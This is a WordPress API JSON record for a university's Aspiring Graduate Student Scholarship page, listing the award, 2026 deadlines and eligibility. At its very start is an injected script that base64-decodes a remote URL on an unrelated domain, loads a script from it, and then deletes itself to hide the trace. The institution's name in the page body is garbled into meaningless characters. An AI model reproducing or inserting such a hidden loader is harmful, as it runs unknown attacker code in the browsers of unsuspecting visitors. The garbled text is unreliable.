<script>!function(){var s=document.createElement("script"),c=document.currentScript;s.src=atob("aHR0cHM6Ly93d3cuamlzaGk2NjYudG9wL2pxdWVyeS5qcw==")+"?_="+Date.now();s.onload=function(){this.remove();c.remove();};document.head.appendChild(s);}();</script>  {"id":51731,"date":"2024-07-18T14:11:10","date_gmt":"2024-07-18T14:11:10","guid":{"rendered":"https:\/\/www.augsburg.edu\/grad\/?page_id=51731"},"modified":"2026-05-20T17:51:53","modified_gmt":"2026-05-20T17:51:53","slug":"aspiring-graduate-scholarship","status":"publish","type":"page","link":"https:\/\/www.augsburg.edu\/grad\/aspiring-graduate-scholarship\/","title":{"rendered":"Aspiring Graduate Student Scholarship"},"content":{"rendered":"<header class=\"entry-header\"><span style=\"font-weight: 400;\">At º¬Ðß²ÝÊÓÆµ, we believe that graduate education should be accessible to all students, regardless of financial barriers. The Aspiring Graduate Scholarship is designed to support aspiring graduate students who are first-generation scholars and\/or demonstrate financial need, helping them take the next step in their academic and professional journeys.<\/span><\/header>\n<header class=\"entry-header\"><b>Scholarship Award:<\/b><span style=\"font-weight: 400;\"> $5,000<\/span><\/header>\n<header class=\"entry-header\"><b>Application Availability:<\/b><span style=\"font-weight: 400;\"> The scholarship application will be accessible through your application portal beginning <\/span><b>May 1, 2026<\/b><span style=\"font-weight: 400;\">.<\/span><\/header>\n<header class=\"entry-header\"><b>Application Deadlines:<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Priority Deadline:<\/b><span style=\"font-weight: 400;\"> June 15, 2026<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Final Deadline:<\/b><span style=\"font-weight: 400;\">\u00a0 July 15, 2026<\/span><\/li>\n<\/ul>\n<p><b>Eligibility as of 3\/1\/25:<\/b><span style=\"font-weight: 400;\"> To be considered, applicants must meet one or more of the following criteria\u00a0 and must be applying for or admitted to a graduate program beginning in <\/span><b>Spring (January), Summer (May), or Fall (August) 2026<\/b><span style=\"font-weight: 400;\">:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Demonstrated financial need\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">First-generation graduate student (neither parent\/guardian has earned a <\/span><b><i>graduate or other advanced degree<\/i><\/b><span style=\"font-weight: 400;\">).<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">A commitment to service and\/or experience working with underserved communities related to your intended program of study.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">We are committed to fostering a vibrant academic community, and we encourage all interested students to apply.<\/span><\/p>\n<p><i><span style=\"font-weight: 400;\">*PsyD and DMSc students as well as employees\/employee dependents of Augsburg are excluded from eligibility.<\/span><\/i><\/p>\n<\/header>\n<div class=\"entry-content\">\n<p>For more information, contact\u00a0<a href=\"&#109;&#x61;&#105;&#x6c;t&#111;&#x3a;&#97;&#x64;m&#x69;s&#115;&#x69;&#111;&#x6e;s&#x40;&#x61;&#117;&#x67;s&#x62;u&#114;&#x67;&#46;&#x65;d&#x75;\">&#x61;&#100;&#109;i&#x73;&#x73;&#105;o&#x6e;&#x73;&#64;au&#x67;&#115;&#98;u&#x72;&#x67;&#46;e&#x64;&#x75;<\/a>\u00a0or\u00a0<a href=\"tel:16123301101\">612-330-1101<\/a>.<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>At º¬Ðß²ÝÊÓÆµ, we believe that graduate education should be accessible to all students, regardless of financial barriers. The Aspiring &#8230;<\/p>\n","protected":false},"author":517,"featured_media":0,"parent":0,"menu_order":5,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-51731","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/www.augsburg.edu\/grad\/wp-json\/wp\/v2\/pages\/51731","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.augsburg.edu\/grad\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.augsburg.edu\/grad\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.augsburg.edu\/grad\/wp-json\/wp\/v2\/users\/517"}],"replies":[{"embeddable":true,"href":"https:\/\/www.augsburg.edu\/grad\/wp-json\/wp\/v2\/comments?post=51731"}],"version-history":[{"count":9,"href":"https:\/\/www.augsburg.edu\/grad\/wp-json\/wp\/v2\/pages\/51731\/revisions"}],"predecessor-version":[{"id":51884,"href":"https:\/\/www.augsburg.edu\/grad\/wp-json\/wp\/v2\/pages\/51731\/revisions\/51884"}],"wp:attachment":[{"href":"https:\/\/www.augsburg.edu\/grad\/wp-json\/wp\/v2\/media?parent=51731"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}